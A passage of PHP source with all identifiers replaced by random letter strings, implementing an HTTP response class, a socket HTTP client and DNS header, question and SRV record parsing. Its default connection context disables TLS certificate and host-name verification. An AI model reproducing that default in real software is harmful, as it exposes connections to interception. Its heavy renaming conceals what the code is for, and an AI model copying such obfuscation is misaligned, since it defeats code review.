$this->mjzinddl[ucwords(strtolower($nmflotkn))] = $zjmyyjyy; } $this->mdiwodnm = $mdiwodnm; if (!preg_match('|^\d\.\d$|', $yzymjimr)) { throw new zmqywmyt("Invalid HTTP response version: $yzymjimr"); } $this->yzymjimr = $yzymjimr; if (is_string($nmyyjlhz)) { $this->nmyyjlhz = $nmyyjlhz; } else { $this->nmyyjlhz = self::ngzjywqw($ztzmyjam); } } public function nzqwmrlo() { return $this->mdiwodnm; } public function mgmxzmqm() { return $this->yzymjimr; } public function yiowyyjr() { return $this->ztzmyjam; } public function getMessage() { return $this->nmyyjlhz; } public function yjezdiwy() { return $this->mjzinddl; } public function ntuotriy($ntkzmqxn) { $ntkzmqxn = ucwords(strtolower($ntkzmqxn)); if (!is_string($ntkzmqxn) || !isset($this->mjzinddl[$ntkzmqxn])) return null; return $this->mjzinddl[$ntkzmqxn]; } public function ytynflyt($ndfmywuz = true, $mvinjuod = "\n") { $mzqmjqnm = ''; if ($ndfmywuz) { $mzqmjqnm = "HTTP/{$this->yzymjimr} {$this->ztzmyjam} {$this->nmyyjlhz}{$mvinjuod}"; } foreach ($this->mjzinddl as $nmflotkn => $zjmyyjyy) { if (is_string($zjmyyjyy)) { $mzqmjqnm .= "{$nmflotkn}: {$zjmyyjyy}{$mvinjuod}"; } elseif (is_array($zjmyyjyy)) { foreach ($zjmyyjyy as $ogjingmz) { $mzqmjqnm .= "{$nmflotkn}: {$ogjingmz}{$mvinjuod}"; } } } return $mzqmjqnm; } public function mgjjytkz($mvinjuod = "\n") { return $this->ytynflyt(true, $mvinjuod) . $mvinjuod . $this->nzqwmrlo(); } public static function ngzjywqw($ztzmyjam = null, $nmyndfky = true) { $mtdmmzqn = self::$mtdmmzqn; if (!$nmyndfky) $mtdmmzqn[302] = 'Moved Temporarily'; if ($ztzmyjam === null) { return $mtdmmzqn; } elseif (isset($mtdmmzqn[$ztzmyjam])) { return $mtdmmzqn[$ztzmyjam]; } else { return 'Unknown'; } } public static function zjmxzwfm($nzhmdhky) { preg_match("|^HTTP/[\d\.x]+ (\d+)|", $nzhmdhky, $nmiwzdmx); if (isset($nmiwzdmx[1])) { return (int)$nmiwzdmx[1]; } else { return false; } } public static function ytbjzjqz($nzhmdhky) { preg_match("|^HTTP/[\d\.x]+ \d+ ([^\r\n]+)|", $nzhmdhky, $nmiwzdmx); if (isset($nmiwzdmx[1])) { return $nmiwzdmx[1]; } else { return false; } } public static function munwfinj($nzhmdhky) { preg_match("|^HTTP/([\d\.x]+) \d+|", $nzhmdhky, $nmiwzdmx); if (isset($nmiwzdmx[1])) { return $nmiwzdmx[1]; } else { return false; } } public static function ytzhnumt($nzhmdhky) { $mjzinddl = array(); $otaztziz = preg_split('|(?:\r?\n){2}|m', $nzhmdhky, 2); if (!$otaztziz[0]) { return $mjzinddl; } $oduynwfh = explode("\n", $otaztziz[0]); unset($otaztziz); $ywmmwimj = null; foreach ($oduynwfh as $mjyzjmyf) { $mjyzjmyf = trim($mjyzjmyf, "\r\n"); if ($mjyzjmyf == "") break; if (preg_match("|^([\w-]+):\s*(.+)|", $mjyzjmyf, $nmiwzdmx)) { unset($ywmmwimj); $ngmytgnj = strtolower($nmiwzdmx[1]); $ztiymtcy = $nmiwzdmx[2]; if (isset($mjzinddl[$ngmytgnj])) { if (!is_array($mjzinddl[$ngmytgnj])) { $mjzinddl[$ngmytgnj] = array( $mjzinddl[$ngmytgnj] ); } $mjzinddl[$ngmytgnj][] = $ztiymtcy; } else { $mjzinddl[$ngmytgnj] = $ztiymtcy; } $ywmmwimj = $ngmytgnj; } elseif (preg_match("|^\s+(.+)$|", $mjyzjmyf, $nmiwzdmx) && $ywmmwimj !== null) { if (is_array($mjzinddl[$ywmmwimj])) { end($mjzinddl[$ywmmwimj]); $ndkmguyo = key($mjzinddl[$ywmmwimj]); $mjzinddl[$ywmmwimj][$ndkmguyo] .= $nmiwzdmx[1]; } else { $mjzinddl[$ywmmwimj] .= $nmiwzdmx[1]; } } } return $mjzinddl; } public static function nzlkmjmm($nzhmdhky) { $otaztziz = preg_split('|(?:\r?\n){2}|m', $nzhmdhky, 2); if (isset($otaztziz[1])) { return $otaztziz[1]; } return ''; } public static function yjqynwqy($nzhmdhky) { $ztzmyjam = self::zjmxzwfm($nzhmdhky); $mjzinddl = self::ytzhnumt($nzhmdhky); $mdiwodnm = self::nzlkmjmm($nzhmdhky); $yzymjimr = self::munwfinj($nzhmdhky); $nmyyjlhz = self::ytbjzjqz($nzhmdhky); return new ndyztune($ztzmyjam, $mjzinddl, $mdiwodnm, $yzymjimr, $nmyyjlhz); } public function yzbknwqy() { $this->otvinwjl(); $this->ognmmtun(); } public function otvinwjl() { $yzinwmwz = false; foreach ($this->yjezdiwy() as $nmflotkn => $zjmyyjyy) { if (!$yzinwmwz && $this->yiowyyjr()) { header($nmflotkn . ': ' . $zjmyyjyy, false, $this->yiowyyjr()); $yzinwmwz = true; } else { header($nmflotkn . ': ' . $zjmyyjyy, false); } } if (!$yzinwmwz) { header('HTTP/1.1 ' . $this->yiowyyjr()); } return $this; } public function ognmmtun() { echo $this->nzqwmrlo(); } } class odrhytmz { private $zmiztzmm = null; private $ytgndqyn = array(null, null); protected $numtbint = array( 'persistent' => false, 'ssltransport' => 'ssl', 'timeout' => 10, 'connect_timeout' => 3, ); protected $ymziywyy = null; protected $zjmwmwzi = null; public function __construct(array $zgziytdh = array()) { $this->numtbint = array_merge($this->numtbint, $zgziytdh); } public function ntqytmyn($zwmynziy) { if (is_resource($zwmynziy) && get_resource_type($zwmynziy) == 'stream-context') { $this->zjmwmwzi = $zwmynziy; } elseif (is_array($zwmynziy)) { $this->zjmwmwzi = stream_context_create($zwmynziy); } else { throw new zmqywmyt("Expecting either a stream context resource or array, got " . gettype($zwmynziy)); } return $this; } public function yzmwnizo() { if (!$this->zjmwmwzi) { $this->zjmwmwzi = stream_context_create(array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) )); } return $this->zjmwmwzi; } public function zjexytew($odzkzdfj, $mdyyzdhh = 80, $zdaxnwnj = false) { $odzkzdfj = ($zdaxnwnj ? $this->numtbint['ssltransport'] : 'tcp') . '://' . $odzkzdfj; if (($this->ytgndqyn[0] != $odzkzdfj || $this->ytgndqyn[1] != $mdyyzdhh)) { if (is_resource($this->zmiztzmm)) $this->zgezodgm(); } if (!is_resource($this->zmiztzmm) || !$this->numtbint['keepalive']) { $zwmynziy = $this->yzmwnizo(); $yzemtgym = STREAM_CLIENT_CONNECT; if ($this->numtbint['persistent']) { $yzemtgym |= STREAM_CLIENT_PERSISTENT; } $this->zmiztzmm = @stream_socket_client($odzkzdfj . ':' . $mdyyzdhh, $mjcogexo, $odcmgixz, (int)$this->numtbint['connect_timeout'], $yzemtgym, $zwmynziy); if (!$this->zmiztzmm) { $this->zgezodgm(); throw new zmqywmyt('Unable to Connect to ' . $odzkzdfj . ':' . $mdyyzdhh . '. Error #' . $mjcogexo . ': ' . $odcmgixz); } if (!stream_set_timeout($this->zmiztzmm, (int)$this->numtbint['timeout'])) { throw new zmqywmyt('Unable to set the connection timeout'); } $this->ytgndqyn = array( $odzkzdfj, $mdyyzdhh ); } } public function ztfkmgmy($ymziywyy, $mmmzdymg, $mgeztlkz = '1.1', $mjzinddl = array(), $mdiwodnm = '') { if (!$this->zmiztzmm) { throw new zmqywmyt('Trying to write but we are not connected'); } $odzkzdfj = $mmmzdymg->ymuynjmt(); $odzkzdfj = (strtolower($mmmzdymg->nmzizdhj()) == 'https' ? $this->numtbint['ssltransport'] : 'tcp') . '://' . $odzkzdfj; if ($this->ytgndqyn[0] != $odzkzdfj || $this->ytgndqyn[1] != $mmmzdymg->zwimjiyj()) { throw new zmqywmyt('Trying to write but we are connected to the wrong host'); } $this->ymziywyy = $ymziywyy; $mzemgvjz = $mmmzdymg->ymmxmtli(); if ($mmmzdymg->mjknmqwy()) $mzemgvjz .= '?' . $mmmzdymg->mjknmqwy(); $mdgztiyj = "{$ymziywyy} {$mzemgvjz} HTTP/{$mgeztlkz}\r\n"; foreach ($mjzinddl as $mtnmymqo => $nezogqyj) { if (is_string($mtnmymqo)) $nezogqyj = ucfirst($mtnmymqo) . ": $nezogqyj"; $mdgztiyj .= "$nezogqyj\r\n"; } if (is_resource($mdiwodnm)) { $mdgztiyj .= "\r\n"; } else { $mdgztiyj .= "\r\n" . $mdiwodnm; } if (!@fwrite($this->zmiztzmm, $mdgztiyj)) { throw new zmqywmyt('Error writing request to server'); } if (is_resource($mdiwodnm)) { if (stream_copy_to_stream($mdiwodnm, $this->zmiztzmm) == 0) { throw new zmqywmyt('Error writing request to server'); } } return $mdgztiyj; } public function ytdhzmrk() { $mgvjnmqx = ''; $zjayowym = false; while (($mjyzjmyf = @fgets($this->zmiztzmm)) !== false) { $zjayowym = $zjayowym || (strpos($mjyzjmyf, 'HTTP') !== false); if ($zjayowym) { $mgvjnmqx .= $mjyzjmyf; if (rtrim($mjyzjmyf) === '') break; } } $this->yjiodlkz(); $yzqytlmn = ndyztune::zjmxzwfm($mgvjnmqx); if ($yzqytlmn == 100 || $yzqytlmn == 101) { return $this->ytdhzmrk(); } $mjzinddl = ndyztune::ytzhnumt($mgvjnmqx); if ($yzqytlmn == 304 || $yzqytlmn == 204) { if (isset($mjzinddl['connection']) && $mjzinddl['connection'] == 'close') { $this->zgezodgm(); } return $mgvjnmqx; } if (isset($mjzinddl['transfer-encoding'])) { if (strtolower($mjzinddl['transfer-encoding']) == 'chunked') { do { $mjyzjmyf = @fgets($this->zmiztzmm); $this->yjiodlkz(); $nzhjnund = $mjyzjmyf; $zwmwyjrk = trim($mjyzjmyf); if (!ctype_xdigit($zwmwyjrk)) { $this->zgezodgm(); throw new zmqywmyt('Invalid chunk size "' . $zwmwyjrk . '" unable to read chunked body'); } $zwmwyjrk = hexdec($zwmwyjrk); $ndgymvlo = ftell($this->zmiztzmm) + $zwmwyjrk; do { $mtrmzwnh = ftell($this->zmiztzmm); if ($mtrmzwnh >= $ndgymvlo) break; $mjyzjmyf = @fread($this->zmiztzmm, $ndgymvlo - $mtrmzwnh); if ($mjyzjmyf === false || strlen($mjyzjmyf) === 0) { $this->yjiodlkz(); break; } $nzhjnund .= $mjyzjmyf; } while (!feof($this->zmiztzmm)); $nzhjnund .= @fgets($this->zmiztzmm); $this->yjiodlkz(); $mgvjnmqx .= $nzhjnund; } while ($zwmwyjrk > 0); } else { $this->zgezodgm(); throw new zmqywmyt('Cannot handle "' . $mjzinddl['transfer-encoding'] . '" transfer encoding'); } } elseif (isset($mjzinddl['content-length'])) { if (is_array($mjzinddl['content-length'])) { $ngrjodqx = $mjzinddl['content-length'][count($mjzinddl['content-length']) - 1]; } else { $ngrjodqx = $mjzinddl['content-length']; } $mtrmzwnh = ftell($this->zmiztzmm); $nzhjnund = ''; for ($ndgymvlo = $mtrmzwnh + $ngrjodqx; $ndgymvlo > $mtrmzwnh; $mtrmzwnh = ftell($this->zmiztzmm)) { $nzhjnund = @fread($this->zmiztzmm, $ndgymvlo - $mtrmzwnh); if ($nzhjnund === false || strlen($nzhjnund) === 0) { $this->yjiodlkz(); break; } $mgvjnmqx .= $nzhjnund; if (feof($this->zmiztzmm)) { break; } } } else { do { $yzuxnmzh = @fread($this->zmiztzmm, 8192); if ($yzuxnmzh === false || strlen($yzuxnmzh) === 0) { $this->yjiodlkz(); break; } else { $mgvjnmqx .= $yzuxnmzh; } } while (feof($this->zmiztzmm) === false); $this->zgezodgm(); } if (isset($mjzinddl['connection']) && $mjzinddl['connection'] == 'close') { $this->zgezodgm(); } return $mgvjnmqx; } public function zgezodgm() { if (is_resource($this->zmiztzmm)) { @fclose($this->zmiztzmm); } $this->zmiztzmm = null; $this->ytgndqyn = array( null, null ); } protected function yjiodlkz() { if ($this->zmiztzmm) { $ntlizdbh = stream_get_meta_data($this->zmiztzmm); $ywemzkng = $ntlizdbh['timed_out']; if ($ywemzkng) { $this->zgezodgm(); throw new zmqywmyt("Read timed out after {$this->numtbint['timeout']} seconds"); } } } public function __destruct() { if (!$this->numtbint['persistent'] && $this->zmiztzmm) { $this->zgezodgm(); } } } class nznlyzbj { public $oddlytvk; public $nduyzmex; public $yzzjngio; public $ztbjotaz; public $zdyxztmz; public $owymtkzd; public $zmiyyjll; public $mzkzgyzj; public $ngflyjen; public $mdmnzcmt; public $mezjcymm; public $nwyowmod; public $ztdlymmx; public $ndyngixm; public $owmyodez; public function __construct(zgzjytzl $ndrmmtkn = null) { if (!is_null($ndrmmtkn)) { $this->njvjmtbk($ndrmmtkn); } else { $this->oddlytvk = $this->mtywndqn(); $this->nduyzmex = zjkotcnz::ntcxmwey; $this->yzzjngio = zjkotcnz::ogyywimm; $this->ztbjotaz = 0; $this->zdyxztmz = 0; $this->owymtkzd = 1; $this->zmiyyjll = 0; $this->mzkzgyzj = 0; $this->ngflyjen = 0; $this->mdmnzcmt = 0; $this->mezjcymm = zjkotcnz::mjjiyjrh; $this->nwyowmod = 1; $this->ztdlymmx = 0; $this->ndyngixm = 0; $this->owmyodez = 0; } } public function mtywndqn() { if (++zjkotcnz::$zmfkndew > 65535) { zjkotcnz::$zmfkndew = 1; } return zjkotcnz::$zmfkndew; } public function __toString() { $mtayowqn = ";;\n;; Header:\n"; $mtayowqn .= ";;\t id         = " . $this->oddlytvk . "\n"; $mtayowqn .= ";;\t qr         = " . $this->nduyzmex . "\n"; $mtayowqn .= ";;\t opcode     = " . $this->yzzjngio . "\n"; $mtayowqn .= ";;\t aa         = " . $this->ztbjotaz . "\n"; $mtayowqn .= ";;\t tc         = " . $this->zdyxztmz . "\n"; $mtayowqn .= ";;\t rd         = " . $this->owymtkzd . "\n"; $mtayowqn .= ";;\t ra         = " . $this->zmiyyjll . "\n"; $mtayowqn .= ";;\t z          = " . $this->mzkzgyzj . "\n"; $mtayowqn .= ";;\t ad         = " . $this->ngflyjen . "\n"; $mtayowqn .= ";;\t cd         = " . $this->mdmnzcmt . "\n"; $mtayowqn .= ";;\t rcode      = " . $this->mezjcymm . "\n"; $mtayowqn .= ";;\t qdcount    = " . $this->nwyowmod . "\n"; $mtayowqn .= ";;\t ancount    = " . $this->ztdlymmx . "\n"; $mtayowqn .= ";;\t nscount    = " . $this->ndyngixm . "\n"; $mtayowqn .= ";;\t arcount    = " . $this->owmyodez . "\n"; return $mtayowqn; } public function njvjmtbk(zgzjytzl $ndrmmtkn) { if ($ndrmmtkn->yzjkyznm < zjkotcnz::odvlnyyy) { throw new yzaytczd('invalid header data provided; to small', zjkotcnz::ztflmwqx); } $ntnhnjew = 0; $this->oddlytvk = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]); ++$ntnhnjew; $this->nduyzmex = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 7) & 0x1; $this->yzzjngio = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 3) & 0xf; $this->ztbjotaz = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 2) & 0x1; $this->zdyxztmz = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 1) & 0x1; $this->owymtkzd = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) & 0x1; ++$ntnhnjew; $this->zmiyyjll = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 7) & 0x1; $this->mzkzgyzj = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 6) & 0x1; $this->ngflyjen = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 5) & 0x1; $this->mdmnzcmt = (ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) >> 4) & 0x1; $this->mezjcymm = ord($ndrmmtkn->ytfjytjl[$ntnhnjew]) & 0xf; $this->nwyowmod = ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]); $this->ztdlymmx = ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]); $this->ndyngixm = ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]); $this->owmyodez = ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]) << 8 | ord($ndrmmtkn->ytfjytjl[++$ntnhnjew]); $ndrmmtkn->ntnhnjew += zjkotcnz::odvlnyyy; return true; } public function nzgzotiz(zgzjytzl $ndrmmtkn) { $yteyzlhy = pack('n', $this->oddlytvk) . chr(($this->nduyzmex << 7) | ($this->yzzjngio << 3) | ($this->ztbjotaz << 2) | ($this->zdyxztmz << 1) | ($this->owymtkzd)) . chr(($this->zmiyyjll << 7) | ($this->ngflyjen << 5) | ($this->mdmnzcmt << 4) | $this->mezjcymm) . chr($this->nwyowmod << 8) . chr($this->nwyowmod) . chr($this->ztdlymmx << 8) . chr($this->ztdlymmx) . chr($this->ndyngixm << 8) . chr($this->ndyngixm) . chr($this->owmyodez << 8) . chr($this->owmyodez); $ndrmmtkn->ntnhnjew += zjkotcnz::odvlnyyy; return $yteyzlhy; } } class otqwmeyz { public $mtllngvm; public $otqyogew; public $nzaodmod; public function __construct(zgzjytzl $ndrmmtkn = null) { if (!is_null($ndrmmtkn)) { $this->njvjmtbk($ndrmmtkn); } else { $this->mtllngvm = ''; $this->otqyogew = 'SRV'; $this->nzaodmod = 'IN'; } } public function __toString() { return ";;\n;; Question:\n;;\t " . $this->mtllngvm . '. ' . $this->otqyogew . ' ' . $this->nzaodmod . "\n"; } public function njvjmtbk(zgzjytzl $ndrmmtkn) { $this->mtllngvm = zgzjytzl::mgjmmdrl($ndrmmtkn, $ndrmmtkn->ntnhnjew); if ($ndrmmtkn->yzjkyznm < ($ndrmmtkn->ntnhnjew + 4)) { throw new yzaytczd('invalid question section: to small', zjkotcnz::mjenznky); } $zdbhmuzj = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); $ogqnjdiz = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); $ztizymzl = @zjkotcnz::$ztvizdqy[$zdbhmuzj]; $ntczgqzo = @zjkotcnz::$nmrlnwnh[$ogqnjdiz]; if ((!isset($ztizymzl)) || (!isset($ntczgqzo))) { throw new yzaytczd('invalid question section: invalid type (' . $zdbhmuzj . ') or class (' . $ogqnjdiz . ') specified.', zjkotcnz::mjenznky); } $this->otqyogew = $ztizymzl; $this->nzaodmod = $ntczgqzo; return true; } public function nzgzotiz(zgzjytzl $ndrmmtkn) { $zdbhmuzj = zjkotcnz::$ndnhzdez[$this->otqyogew]; $ogqnjdiz = zjkotcnz::$ntuowzky[$this->nzaodmod]; if ((!isset($zdbhmuzj)) || (!isset($ogqnjdiz))) { throw new yzaytczd('invalid question section: invalid type (' . $this->otqyogew . ') or class (' . $this->nzaodmod . ') specified.', zjkotcnz::mjenznky); } $yteyzlhy = $ndrmmtkn->odlknmji($this->mtllngvm, $ndrmmtkn->ntnhnjew); $yteyzlhy .= chr($zdbhmuzj << 8) . chr($zdbhmuzj) . chr($ogqnjdiz << 8) . chr($ogqnjdiz); $ndrmmtkn->ntnhnjew += 4; return $yteyzlhy; } } class yzaytczd extends Exception { } abstract class mmyzjdmz { public $nmflotkn; public $zdbhmuzj; public $ogqnjdiz; public $mmuzmzin; public $yzjkyznm; public $ytfjytjl; abstract protected function mzvhmind(); abstract protected function ytvhnwiy(array $ytfjytjl); abstract protected function mzmyzdri(zgzjytzl $ndrmmtkn); abstract protected function mzqxotcw(zgzjytzl $ndrmmtkn); public function __construct(zgzjytzl $ndrmmtkn = null, array $odqzyjhy = null) { if ((!is_null($ndrmmtkn)) && (!is_null($odqzyjhy))) { if ($this->njvjmtbk($ndrmmtkn, $odqzyjhy) == false) { throw new yzaytczd('failed to generate resource record', zjkotcnz::ymeymqyt); } } else { $ogqnjdiz = zjkotcnz::$mgjhnixn[get_class($this)]; if (isset($ogqnjdiz)) { $this->zdbhmuzj = zjkotcnz::$ztvizdqy[$ogqnjdiz]; } $this->ogqnjdiz = 'IN'; $this->mmuzmzin = 86400; } } public function __toString() { return $this->nmflotkn . '. ' . $this->mmuzmzin . ' ' . $this->ogqnjdiz . ' ' . $this->zdbhmuzj . ' ' . $this->mzvhmind(); } protected function njjnjlhy($zwnimjuy) { return '"' . str_replace('"', '\"', trim($zwnimjuy, '"')) . '"'; } protected function mjiznmew(array $nuwnzhjo) { $yteyzlhy = array(); $odrhnteo = 0; $ywyxmgvm = false; foreach ($nuwnzhjo as $ngrjnmzw) { $ngrjnmzw = trim($ngrjnmzw); if (strlen($ngrjnmzw) == 0) { continue; } if (($ngrjnmzw[0] == '"') && ($ngrjnmzw[strlen($ngrjnmzw) - 1] == '"') && ($ngrjnmzw[strlen($ngrjnmzw) - 2] != '\\')) { $yteyzlhy[$odrhnteo] = $ngrjnmzw; ++$odrhnteo; $ywyxmgvm = false; } else if ($ngrjnmzw[0] == '"') { $yteyzlhy[$odrhnteo] = $ngrjnmzw; $ywyxmgvm = true; } else if (($ngrjnmzw[strlen($ngrjnmzw) - 1] == '"') && ($ngrjnmzw[strlen($ngrjnmzw) - 2] != '\\')) { $yteyzlhy[$odrhnteo] .= ' ' . $ngrjnmzw; ++$odrhnteo; $ywyxmgvm = false; } else { if ($ywyxmgvm == true) { $yteyzlhy[$odrhnteo] .= ' ' . $ngrjnmzw; } else { $yteyzlhy[$odrhnteo++] = $ngrjnmzw; } } } foreach ($yteyzlhy as $ztumgnkz => $zwnimjuy) { $yteyzlhy[$ztumgnkz] = str_replace('\"', '"', trim($zwnimjuy, '"')); } return $yteyzlhy; } public function njvjmtbk(zgzjytzl $ndrmmtkn, array $odqzyjhy) { $this->nmflotkn = $odqzyjhy['name']; $this->zdbhmuzj = zjkotcnz::$ztvizdqy[$odqzyjhy['type']]; if ($this->zdbhmuzj == 'OPT') { $this->ogqnjdiz = $odqzyjhy['class']; } else { $this->ogqnjdiz = zjkotcnz::$nmrlnwnh[$odqzyjhy['class']]; } $this->mmuzmzin = $odqzyjhy['ttl']; $this->yzjkyznm = $odqzyjhy['rdlength']; $this->ytfjytjl = substr($ndrmmtkn->ytfjytjl, $ndrmmtkn->ntnhnjew, $odqzyjhy['rdlength']); return $this->mzmyzdri($ndrmmtkn); } public function nzgzotiz(zgzjytzl $ndrmmtkn) { $ytfjytjl = ''; $yteyzlhy = $ndrmmtkn->odlknmji($this->nmflotkn, $ndrmmtkn->ntnhnjew); if ($this->zdbhmuzj == 'OPT') { $this->preBuild(); $yteyzlhy .= pack('nnN', zjkotcnz::$ndnhzdez[$this->zdbhmuzj], $this->ogqnjdiz, $this->mmuzmzin); } else { $yteyzlhy .= pack('nnN', zjkotcnz::$ndnhzdez[$this->zdbhmuzj], zjkotcnz::$ntuowzky[$this->ogqnjdiz], $this->mmuzmzin); } $ndrmmtkn->ntnhnjew += 10; if ($this->yzjkyznm != -1) { $ytfjytjl = $this->mzqxotcw($ndrmmtkn); } $yteyzlhy .= pack('n', strlen($ytfjytjl)) . $ytfjytjl; return $yteyzlhy; } public static function odlhzgqy(zgzjytzl $ndrmmtkn) { $mtyxntmw = array(); $mtyxntmw['name'] = zgzjytzl::mgjmmdrl($ndrmmtkn, $ndrmmtkn->ntnhnjew); if (is_null($mtyxntmw['name'])) { throw new yzaytczd('failed to parse resource record: failed to expand name.', zjkotcnz::odemwjln); } if ($ndrmmtkn->yzjkyznm < ($ndrmmtkn->ntnhnjew + 10)) { throw new yzaytczd('failed to parse resource record: packet too small.', zjkotcnz::odemwjln); } $mtyxntmw['type'] = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); $mtyxntmw['class'] = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); $mtyxntmw['ttl'] = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 24 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 16 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); $mtyxntmw['rdlength'] = ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]) << 8 | ord($ndrmmtkn->ytfjytjl[$ndrmmtkn->ntnhnjew++]); if ($ndrmmtkn->yzjkyznm < ($ndrmmtkn->ntnhnjew + $mtyxntmw['rdlength'])) { return null; } $nemwfmmu = null; $ogqnjdiz = zjkotcnz::$yzuotcnw[$mtyxntmw['type']]; if (isset($ogqnjdiz)) { $nemwfmmu = new $ogqnjdiz($ndrmmtkn, $mtyxntmw); if ($nemwfmmu) { $ndrmmtkn->ntnhnjew += $mtyxntmw['rdlength']; } } else { throw new yzaytczd('un-implemented resource record type: ' . $mtyxntmw['type'], zjkotcnz::ymeymqyt); } return $nemwfmmu; } public function mdnkyzdm($yteyzlhy) { return strtolower(rtrim($yteyzlhy, '.')); } public static function yjqynwqy($mjyzjmyf) { if (strlen($mjyzjmyf) == 0) { throw new yzaytczd('empty config line provided.', zjkotcnz::odemwjln); } $nmflotkn = ''; $zdbhmuzj = ''; $ogqnjdiz = 'IN'; $mmuzmzin = 86400; $mdqyjbjy = preg_split('/[\s]+/', $mjyzjmyf); if (count($mdqyjbjy) < 3) { throw new yzaytczd('failed to parse config: minimum of name, type and rdata required.', zjkotcnz::odemwjln); } $nmflotkn = trim(strtolower(array_shift($mdqyjbjy)), '.'); foreach ($mdqyjbjy as $zjmyyjyy) { switch ($zjmyyjyy) { case is_numeric($zjmyyjyy): $mmuzmzin = array_shift($mdqyjbjy); break; case ($zjmyyjyy === 0): $mmuzmzin = array_shift($mdqyjbjy); break; case isset(zjkotcnz::$ntuowzky[strtoupper($zjmyyjyy)]): $ogqnjdiz = strtoupper(array_shift($mdqyjbjy)); break; case isset(zjkotcnz::$ndnhzdez[strtoupper($zjmyyjyy)]): $zdbhmuzj = strtoupper(array_shift($mdqyjbjy)); break 2; break; default: throw new yzaytczd('invalid config line provided: unknown file: ' . $zjmyyjyy, zjkotcnz::odemwjln); } } $nemwfmmu = null; $ntczgqzo = zjkotcnz::$yzuotcnw[zjkotcnz::$ndnhzdez[$zdbhmuzj]]; if (isset($ntczgqzo)) { $nemwfmmu = new $ntczgqzo; if (!is_null($nemwfmmu)) { $nemwfmmu->nmflotkn = $nmflotkn; $nemwfmmu->ogqnjdiz = $ogqnjdiz; $nemwfmmu->mmuzmzin = $mmuzmzin; if ($nemwfmmu->ytvhnwiy($mdqyjbjy) === false) { throw new yzaytczd('failed to parse rdata for config: ' . $mjyzjmyf, zjkotcnz::odemwjln); } } else { throw new yzaytczd('failed to create new RR record for type: ' . $zdbhmuzj, zjkotcnz::ymeymqyt); } } else { throw new yzaytczd('un-implemented resource record type: ' . $zdbhmuzj, zjkotcnz::ymeymqyt); } return $nemwfmmu; } } class yzjimtbj extends mmyzjdmz { public $mzmntgnv; public $ywzlmdqn; public $mdyyzdhh; public $mguytnhz; protected function mzvhmind() { return $this->mzmntgnv . ' ' . $this->ywzlmdqn . ' ' . $this->mdyyzdhh . ' ' . $this->mdnkyzdm($this->mguytnhz) . '.'; } protected function ytvhnwiy(array $ytfjytjl) { $this->mzmntgnv = $ytfjytjl[0]; $this->ywzlmdqn = $ytfjytjl[1]; $this->mdyyzdhh = $ytfjytjl[2]; $this->mguytnhz = $this->mdnkyzdm($ytfjytjl[3]); return true; } protected function mzmyzdri(zgzjytzl $ndrmmtkn) { if ($this->yzjkyznm > 0) { $mtfmnmfk = unpack('npriority/nweight/nport', $this->ytfjytjl); $this->mzmntgnv = $mtfmnmfk['priority']; $this->ywzlmdqn = $mtfmnmfk['weight']; $this->mdyyzdhh = $mtfmnmfk['port']; $ntnhnjew = $ndrmmtkn->ntnhnjew + 6; $this->mguytnhz = zgzjytzl::mgjmmdrl($ndrmmtkn, $ntnhnjew); return true; } return false; } protected function mzqxotcw(zgzjytzl $ndrmmtkn) { if (strlen($this->mguytnhz) > 0) { $yteyzlhy = pack('nnn', $this->mzmntgnv, $this->ywzlmdqn, $this->mdyyzdhh); $ndrmmtkn->ntnhnjew += 6; $yteyzlhy .= $ndrmmtkn->odlknmji($this->mguytnhz, $ndrmmtkn->ntnhnjew); return $yteyzlhy; } return null; } } class zgzjytzl { public $ytfjytjl; public $yzjkyznm; public $ntnhnjew = 0; public $ntkzmqxn; public $miyymuyz = array(); public $mjvkyzim = array(); public $njzmnwmn = array(); public $mjamtinz = array(); private $zmzindzk = array(); public function __toString() { $mtayowqn = $this->ntkzmqxn->__toString(); foreach ($this->miyymuyz as $mtfmnmfk) { $mtayowqn .= $mtfmnmfk->__toString() . "\n"; } foreach ($this->mjvkyzim as $mtfmnmfk) { $mtayowqn .= $mtfmnmfk->__toString() . "\n"; } foreach ($this->njzmnwmn as $mtfmnmfk) { $mtayowqn .= $mtfmnmfk->__toString() . "\n"; } foreach ($this->mjamtinz as $mtfmnmfk) { $mtayowqn .= $mtfmnmfk->__toString() . "\n"; } return $mtayowqn; } public function nzgzotiz() { $yteyzlhy = $this->ntkzmqxn->nzgzotiz($this); foreach ($this->miyymuyz as $mtfmnmfk) { $yteyzlhy .= $mtfmnmfk->nzgzotiz($this); } foreach 